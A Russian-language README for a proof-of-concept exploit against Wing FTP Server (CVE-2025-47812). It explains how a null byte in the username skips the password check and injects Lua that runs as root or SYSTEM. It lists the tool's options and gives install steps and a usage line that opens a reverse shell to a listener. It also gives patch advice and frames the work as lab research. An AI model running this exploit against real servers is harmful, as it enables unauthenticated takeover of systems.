
Эксплойт для CVE-2025-47812 с пользовательской оболочкой psudo и надежной обработкой ошибок.
CVE-2025-47812: Некорректная проверка входных данных привела к удаленному выполнению кода и полной компрометации системы
Жюльен Аренс из RCE Security обнаружил критическую уязвимость безопасности, затрагивающую WingFTP. Отслеживаемая как CVE-2025-47812, уязвимость имеет оценку CVSS 10. Успешная эксплуатация уязвимости может позволить удаленному неаутентифицированному злоумышленнику выполнить произвольный код, что приведет к полной компрометации системы.
Wing FTP Server — это кроссплатформенное, удобное и безопасное серверное программное обеспечение FTP. Оно поддерживает несколько протоколов передачи файлов, таких как FTP, FTPS, HTTP, HTTPS и SFTP, обеспечивая гибкость для подключения клиентов.
Для исследования CVE-2025-47812 я развернул контейнер Docker с Wing FTP Server 7.4.3 на хосте Linux. Контейнер был настроен на раскрытие веб-интерфейса, и я включил анонимный вход для упрощения неаутентифицированного тестирования. Кроме того, была создана тестовая учетная запись пользователя (dev-test:test) для имитации аутентифицированных сценариев. Эта настройка обеспечила безопасную и контролируемую среду для воспроизведения уязвимости и проверки поведения эксплойта.
CVE ID: CVE-2025-47812
Вектор CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Базовая оценка: 10.0 (Критическая)
Затронутое программное обеспечение: <= 7.4.3
Воздействие: Удаленное выполнение кода привело к полной компрометации системы.
Предварительные условия эксплуатации:
Разрешен анонимный вход или действительные учетные данные пользователя
Для пользователя не требуются права sudo
Когда пользователь пытается войти, вызывается вызов c_CheckUser, который всегда возвращает OK_CHECK_CONNESSION независимо от того, что идет после нулевого байта в имени пользователя, при условии, что строка до нулевого байта соответствует существующему пользователю. Злоумышленник может воспользоваться уязвимостью, добавив нулевой байт и дополнительные значения к известному имени пользователя, чтобы обойти проверку пароля. Система использует strlen() для получения размера строки нашего имени пользователя, но strlen считает только все символы до тех пор, пока не достигнет завершающего нулевого байта, чтобы сопоставить несанитизированное имя пользователя.
Несанитизированное имя пользователя (включая внедренный нулевой байт и полезную нагрузку) напрямую сохраняется в сессионных файлах в виде кода Lua. Эти сессионные файлы напоминают .lua и позже выполняются при загрузке сессий. На Linux сервер Wing FTP работает от root; на Windows — от SYSTEM. Внедренная полезная нагрузка Lua выполняется с полными привилегиями при перезагрузке сессии.
Примечание: Это поведение проявляется только в том случае, если пароль не установлен или используются действительные учетные данные. Если для пользователя установлен пароль, применяется более строгая проверка пароля.
Options:
-t, --target URL целевого сервера Wing FTP (например, http://192.168.1.100)
-u, --username Имя пользователя для аутентификации (по умолчанию: anonymous)
-p, --password Пароль для аутентификации (по умолчанию: пусто)
-lh, --lhost Локальный хост для прослушивания реверс-шелла (по умолчанию: 127.0.0.1)
-lp, --lport Локальный порт для прослушивания реверс-шелла (по умолчанию: 31337)
-ns, --no-shell Указывает эксплойту не создавать временную оболочку. (Примечание: если установлено, нужно настроить слушателя вручную)
-v, --verbose Включить подробный/отладочный вывод
-h, --help Показать это справочное сообщение и выйти
git clone https://github.com/pevinkumar10/CVE-2025-47812
cd CVE-2025-47812
pip3 install -r requirements.txt
CVE-2025-47812 - Неавторизованное RCE на Wing FTP Server
CVE-2025-47812 - Авторизованное RCE на Wing FTP Server (dev-test:test)
Пример использования:
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336
Пользователи должны обновить WingFTP до версии 7.4.4, чтобы устранить уязвимость.
Пожалуйста, обратитесь к Примечаниям к выпуску WingFTP для получения дополнительной информации.
Примечание: Я использовал вышеуказанные ссылки в исследовательских целях и обновил эксплойт, добавив больше функций и надежную обработку ошибок.
Данный PoC на Python распространяется под лицензией MIT. Авторство оригинальной концепции эксплойта и раскрытия информации принадлежит Stratascale Cyber Research Unit.